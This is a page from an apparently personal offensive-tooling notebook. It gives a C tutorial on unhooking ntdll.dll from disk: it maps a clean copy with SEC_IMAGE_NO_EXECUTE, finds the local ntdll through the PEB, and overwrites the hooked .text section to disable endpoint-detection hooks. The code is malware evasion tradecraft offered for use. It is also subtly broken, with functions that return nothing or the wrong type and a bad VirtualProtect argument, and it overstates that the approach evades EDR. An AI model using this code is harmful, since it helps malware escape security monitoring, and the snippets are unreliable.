🌵
Rotta
  • ☕General
    • About Me
    • Recently Added
  • ☣️Offensive Tool Development
    • Windows Internals
      • Registers
      • x64 Calling Convention
      • PE File Format
        • PE File Structure
        • DOS Header, DOS Stub, & Rich Header
        • NT Headers
        • Data Directories & Section Headers
        • Import Directory Table, ILT & IAT
        • Image Export Table
        • PE Base Relocations
      • Processes & PEB Structure
      • Threads & TEB Structure
      • Event Tracing for Windows (ETW)
        • Interacting with ETW
        • ETW Tools
    • Enumeration
      • Process Enumeration
        • CreateToolhelp32Snapshot
        • EnumProcesses (psapi.h)
        • NtQuerySystemInformation
        • NtQueryInformationProcess
      • Thread Enumeration
        • CreateToolhelp32Snapshot
        • NtQuerySystemInformation
      • DLL Enumeration
    • Memory Allocation
      • Private Memory Allocation
      • Memory Mapping
    • Access Tokens
      • Page 1
    • Techniques and Exploitation Methods
      • Thread Hijacking
      • DLL Injection
      • Shellcode Reflective DLL Injection
      • APC Injection
      • Callback Process Injection
      • Function Stomping
      • DLL Sideloading
      • Local PE Injection
      • Reflective DLL Injection
      • Process Hollowing
    • PE Tips & Tricks
      • Parsing PE Headers
      • Patching IAT
      • Patching Base Relocations
      • Fixing Memory Permissions
      • Embed an EXE inside a LNK
      • PE Infection
    • Staging
      • Fetch Payload from Web Server
      • Fetch DLL from Web Server
    • Bypassing AV
      • String Hashing
      • Hiding & Obfuscating IAT
      • Custom WINAPI Functions
        • GetProcAddressHash
      • File Bloating
    • Evading EDR
      • Payload Execution Control
      • Wrapping NTAPI Functions
        • NtCreateUserProcess
        • NtQuerySystemInformation
      • PPID Spoofing
      • Call Stack Spoofing
      • NTDLL Unhooking
        • NTDLL Unhooking - From Disk
        • NTDLL Unhooking - From KnownDlls
        • NTDLL Unhooking - From Suspended Process
        • NTDLL Unhooking - From Web Server
    • Anti-Analysis Techniques
      • Anti-Debugging Techniques
        • Check If Running In a Debugger
        • Self Deleting Malware
      • Anti-Virtual Environments (AVE) Techniques
        • Detecting Hardware Specs
        • Delaying Execution
        • API Hammering
      • Reducing Binary Entropy
      • Brute Forcing Decryption Key
      • Removing MSCRT
      • Hiding / Camouflaging IAT
    • API Hooking
      • Userland Hooking
      • Custom Hooking Function
      • Open-Source Hooking Libraries
        • Microsoft's Detours Library
        • MinHook Library
    • Syscalls
      • NTAPI Syscall Process Injection
      • Direct Syscalls
        • SysWhispers
      • Indirect Syscalls
    • C2 Development
      • Consensus & Design Patterns
      • Infrastructure
      • Teamserver
      • Listeners
      • Agent Stubs
      • Encrypting Communication
    • User Defined Reflective Loader (UDRL)
    • MalDev Environment Setup
      • Setting up Dev Box
      • Setting up Pwn Box
      • Setting up Dev Server
      • Commando VM
    • Maldev Checklist
  • 👺Red Teaming
    • Setting up Infrastructure
    • External Recon
    • Internal Recon & Enumeration
      • Host Reconnaissance
      • Host Enumeration
    • Password Attacks
      • Password Spraying OWA
    • Phishing / Initial Compromise
      • Setting up Infrastructure
      • Crafting the Email
      • EvilGinx
      • Browser In Browser Attack
      • MS Office Phishing
        • VBA Macro Beacon
        • Remote Template Injection
        • HTML Smuggling
    • Privilege Escalation
      • Windows Services
      • UAC Bypass
      • Elevated SYSTEM Persistence
    • Persistence
      • Scheduled Tasks
      • Registry AutoRun
      • Startup Folder
      • COM Hijacking
      • Elevated SYSTEM Persistence
    • Payload Delivery
      • MS Office Payloads
        • Mark of the Web (MOTW).
        • Visual Basic Macro (VBA)
        • Remote Template Injection
      • SCR File Attack
    • Stealing Credentials
      • MimiKatz
      • Rubeus
      • Page 2
    • Domain Reconnaissance
      • PowerView & SharpView
      • ADSearch
    • Lateral Movement
      • User Impersonation
        • Pass The Hash (PTH)
        • Pass The Ticket (PTT)
        • Overpass The Hash
        • Token Impersonation
        • Token Store
    • Kerberos & Active Directory Attacks
      • Kerberoasting
      • ASREP Roasting
      • Kerberos Relay Attacks
      • Shadow Credentials
      • Unconstrained Delegation
      • Constrained Delegation
    • Cobalt Strike
      • Start Team Server
      • Configure Listeners
      • Beacons
        • UDRLess Beacon
    • Cracking Passwords
    • Tools & Checklists
      • Commands Cheat Sheet
      • Tools
      • Red Team Checklist
  • 🪟Active Directory
    • Active Directory Toolkit
      • Windows Tools
        • ActiveDirectory PowerShell Module
        • PowerView
        • SharpHound/BloodHound
        • Snaffler
      • Kali Linux Tools
        • Windapsearch & Ldapsearch
        • CrackMapExec
        • SMBMap
        • rpcclient
        • Impacket Toolkit
        • Bloodhound
    • Enumerating Active Directory
      • net.exe
      • Powershell Active Directory Commands
      • Powershell & .NET Classes
      • PowerView / SharpView
      • Enumerating Service Accounts
      • Enumerating Object Permissions
      • Enumerating Objects
      • Active Directory Certificate Services (AD CS)
    • Attacking Active Directory Authentication
      • AS-REP Roasting
      • Kerberoasting
      • Silver Tickets
      • Domain Controller Synchronization (Dsync Attack)
      • Kerberos Relay Attack
      • NTLM Relay Attack
      • Attacking Service Accounts
    • Password Spraying
      • Enumeration & Retrieving Password Policy
      • Creating a Target User List
      • Brute Force / Password Spraying - Linux Tools
      • Internal Spraying - From Windows
    • Lateral Movement Techniques
      • WMI and WinRM
      • PsExec
      • Pass The Hash
      • Overpass The Hash
      • Pass The Ticket
      • DCOM
    • Persistence
      • Golden Ticket
      • Shadow Copies
    • God Access
      • GenericAll Abuse
      • NTDS Tom Foolery
    • Lab Environment Setup
      • Installing Forest
      • Adding Data to Active Directory
    • Templates & Cheat Sheets
  • 🦈Penetration Testing
    • Information Gathering / Reconnaisance
      • Client Fingerprinting
      • External Recon and Enumeration
      • Network Reconnaisance
        • Scanning for Hosts
        • Initial Enumeration of AD Network
        • SMB Network Shares
      • Vulnerability Scanning
        • Nessus
        • Nmap
      • Popped a Shell
    • Pivoting, Tunneling, and Port Forwarding
      • SSH
      • Socat
      • Pivoting
        • plink.exe
        • netsh
        • Web Server Pivoting with Rpivot
      • Tunneling
        • Chisel
        • sshuttle
        • Dnscat2
      • Double Pivots
        • RDP and SOCKS Tunneling with SocksOverRDP
    • Cracking Passwords
      • Password Cracking Prerequisites
      • Mutating Wordlists
        • Identifying & Building Rules
      • Password Managers
      • SSH Private Keys
      • NTLM Toolkit
      • NTLMv2
      • MS-Cachev2 (DCC2)
      • Password Protected Files
    • Windows Privilege Escalation
      • Initial Enumeration
      • Searching For Sensitive Files
      • Searching Logs & Event Viewer
      • Escalating Privilege
      • Leveraging Windows Services
        • Service Binary Hijacking
        • Service DLL Hijacking
        • Abusing Unquoted Paths
      • Scheduled Tasks
      • Enumerating Services & Tasks
      • Dumping Secrets
    • Linux Privilege Escalation
      • Initial Enumeration
      • Automated Enumeration
      • Searching For Sensitive Information
      • Insecure File Permissions
      • Insecure System Components
        • Abusing Setuid Binaries and Capabilities
        • Sudo Trickery
        • Kernel Vulnerabilities
      • Abusing Environment Variables
      • Escaping Jail
      • Wildcard Injection
    • Exploiting Microsoft Office
      • Phishing with Teams
      • Malicious Macros
      • Windows Library Files
    • Setting up Infrastructure
      • C2 Infrastructure
      • EvilGinx2 Phishing Infrastructure
    • Ex-filtrating Data
      • WebDAV
      • SMB
      • Converting files to Hex Strings
    • Phishing
      • OSCP Phishing Guide
    • Templates & Cheat Sheets
      • OSCP Cheat Sheet
      • Impacket Cheat Sheet
      • Useful Commands
      • Penetration Test Checklist
  • 🛡️Azure & M365
    • Information Gathering / Reconnaissance
      • Domain Enumeration
      • User Enumeration
      • AADInternals
    • Attacking Authentication
      • OWA Password Spraying
      • OAuth Abuse
    • Azure AD Killchain
    • Azure Lab Setup
    • Azure & M365 Checklist
  • 🥾Security Operation Center
    • Network Traffic Analysis
      • Tcpdump
      • Wireshark
    • Windows Event Logs
      • Sysmon
    • Event Tracing for Windows (ETW)
    • Microsoft 365 Defender
    • Splunk as SIEM
      • Using Splunk Applications
      • Search Processing Language (SPL) Commands
      • Hunting with Splunk
      • Intrusion Detection
    • Incident Response Process
    • MITRE ATT&CK Framework
      • Persistence
        • Registry Run Keys
    • Templates & Cheat Sheets
      • Interview Prep
  • 🔬Digital Forensics
    • Tools
  • 🔍Malware Analysis
    • Network Traffic Analysis
      • INetSim
    • Static Analysis
      • Signatures & Fingerprints
      • Pestudio
      • x64dbg
    • Dynamic Analysis
      • Noriben
    • Reverse Engineering / Code Analysis
      • IDA
      • x64dbg
      • Returning Source Code
        • .NET Binary
    • Creating Detection Rules
    • Tools
  • 🛠️Programming
    • MASM Assembly
    • Qt
      • Setting up Qt in CLion
    • Windows Development on MacOS
      • CLion Setup
    • Windows API
      • Deleting Files
      • Strings
      • wininet.h
      • Wrapping WinAPI Functions
      • code_seg
      • Locating WinAPI Functions - Tips
    • Visual Studio
      • Creating DLL's
      • Debug & Release Mode
    • Mingw
      • Windows Development
    • Position Independent Code (PIC)
      • Creating Shellcode
      • Debugging & Development Tips
      • Strings
      • Macros
      • PIC Checklist
  • 🏠Home Lab
    • Current Setup
Powered by GitBook
On this page
  • Introduction
  • Reading NTDLL
  • Mapping NTDLL
  • CreateFileMappingW & MapViewOfFile
  • Reading vs Mapping NTDLL
  • Unhooking NTDLL
  • 1.) Get NTDLL Base Address
  • 2.) Fetching The Local NTDLL.DLL Text Section
  • 3.) Fetching the Unhooked NTDLL.DLL Text Section
  • 4.) .Text Section Replacement
  1. Offensive Tool Development
  2. Evading EDR
  3. NTDLL Unhooking

NTDLL Unhooking - From Disk

PreviousNTDLL UnhookingNextNTDLL Unhooking - From KnownDlls

Last updated 7 months ago

Introduction

REMINDER: When a DLL is read from disk the offset will be 0x400 (1024).

Tl;DR Mapping an image into memory rather than reading from disk is more reliable and preferred method.

Reading NTDLL

The first step is to read NTDLL from disk (C:\Windows\System32\ntdll.dll). There are two methods we can use to do this.

  • ReadFile (Reads file from disk - 1024 offset)

  • CreateFileMapping & MapViewOfFile - (4096 offset MUST includeSEC_IMAGE or SEC_IMAGE_NO_EXECUTE flags in CreateFileMappingA) or offset remains 1024.

I'm not going to include a ReadFile example.

Mapping NTDLL

Something worth noting: SEC_IMAGE_NO_EXECUTE does not trigger callback. Using this will not trigger EDRs.

CreateFileMappingW & MapViewOfFile

BOOL MapNtdllFromDisk() {
    HANDLE hFile = NULL;
    HANDLE hMappingFile = NULL;

    hFile = CreateFileW(ntdllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        wprintf(L"CreateFileW Failed %d\n", GetLastError());
        return FALSE;
    }
    DWORD dwFileSize = GetFileSize(hFile, NULL);
    if (dwFileSize == INVALID_FILE_SIZE) {
        wprintf(L"GetFileSize Failed %d\n", GetLastError());
        return FALSE;
    }
    // Use SEC_IMAGE_NO_EXECUTE (needed for offset & not to trigger callback)
    hMappingFile = CreateFileMappingW(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, (LPCWSTR)NULL);
    if (!hMappingFile) {
        wprintf(L"CreateFileMappingW Failed: %d\n", GetLastError());
        return FALSE;
    }

    LPVOID lpBuffer = MapViewOfFile(hMappingFile, FILE_MAP_READ | FILE_MAP_COPY, 0, 0, 0);
    if (lpBuffer == NULL) {
        wprintf(L"MapViewOfFile Failed: %d\n", GetLastError());
        return FALSE;
    }

    wprintf(L"lpBuffer: %p\n", lpBuffer);
}

Reading vs Mapping NTDLL

Sometimes when the ntdll.dll file is read from disk rather than mapped to memory, the offset of its text section might be 4096 instead of the expected 1024.

Mapping the ntdll.dll file to memory is more reliable since the text section offset will always equal the IMAGE_SECTION_HEADER.VirtualAddress offset of the DLL file.

Unhooking NTDLL

1.) Get NTDLL Base Address

There are multiple ways to get a local NTDLL base address. Here is the best way:

  • InMemoryOrder.Flink->Flink is a pointer to the second entry in the linked list. This is ntdll.dll, the first entry is the running process (unhooking_ntdll.exe).

  • InMemoryOrder.Flink->Flink actually points to the END of the entry rather than the beginning. The size of the LIST_ENTRY structure is 0x10, therefore we subtract 0x10 to move the pointer to the beginning.

PVOID FetchLocalNtdllAddress() {
    PPEB pPeb = (PPEB)__readgsqword(0x60);
    PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
    return pLdr->DllBase;
}

Alternatively, you can use GetModuleHandle() but is a worse approach than above.

2.) Fetching The Local NTDLL.DLL Text Section

Getting NTDLL.DLL Text section is easy as getting BaseOfCode & SizeOfCode from PIMAGE_OPTIONAL_HEADER

BOOL FetchLocalTextSectionNtdll(PVOID pBaseAddress) {
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pBaseAddress + pDosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&pNtHeaders->OptionalHeader;

    DWORD dwSizeOfText = pOptionalHeader->SizeOfCode;
    PVOID pAddressOfText = pBaseAddress + pOptionalHeader->BaseOfCode;

}

Alternatively, you can iterate pNtHeaders->FileHeader.NumberOfSections and search .text.

3.) Fetching the Unhooked NTDLL.DLL Text Section

We can use our mapping function we created earlier to get the base address of the unhooked ntdll.dll .text section.

We then simply add the base address with the offset (4096 for mapping, 1024 for ReadFile).

ULONG_PTR pUnhookedTxtNtdll = (ULONG_PTR)(MapNtdllFromDisk()) + 4096; // or IMAGE_SECTION_HEADER.VirtualAddress of ntdll.dll

4.) .Text Section Replacement

We now have everything we need. We can now swap the text section of the unhooked ntdll with the hooked using memcpy.

Before we swap we need to change permissions via VirtualProtect WinAPI by setting the PAGE_EXECUTE_WRITECOPY or PAGE_EXECUTE_READWRITE flags.

After we've copied the text section we will change back to original permissions.

BOOL SwapNtdllTextSections(IN PVOID pLocalNtdll, IN PVOID pUnhookedNtdll, IN DWORD dwSizeOfText) {
    wprintf(L"Local NTDLL: %p\nUnhooked NTDLL: %p\nSize of Text: %d\n", pLocalNtdll, pUnhookedNtdll, dwSizeOfText);
    // Update Local NTDLL Memory Permissions to RWX Access (Currently only RX)
    DWORD dwOldPermissions = 0;
    if (!VirtualProtect(pLocalNtdll, dwSizeOfText, PAGE_EXECUTE_WRITECOPY, &dwOldPermissions)) {
        wprintf(L"VirtualProtect Failed %d", GetLastError());
        return FALSE;
    }
    getchar();
    // Copy Memory from Unhooked to Local
    memcpy(pLocalNtdll, pUnhookedNtdll, dwSizeOfText);

    if (!VirtualProtect(pLocalNtdll, dwSizeOfText, dwOldPermissions, NULL)) {
        wprintf(L"VirtualProtect Failed %d", GetLastError());
        return FALSE;
    }
    return TRUE;
}
☣️
PsSetLoadImageNotifyRoutine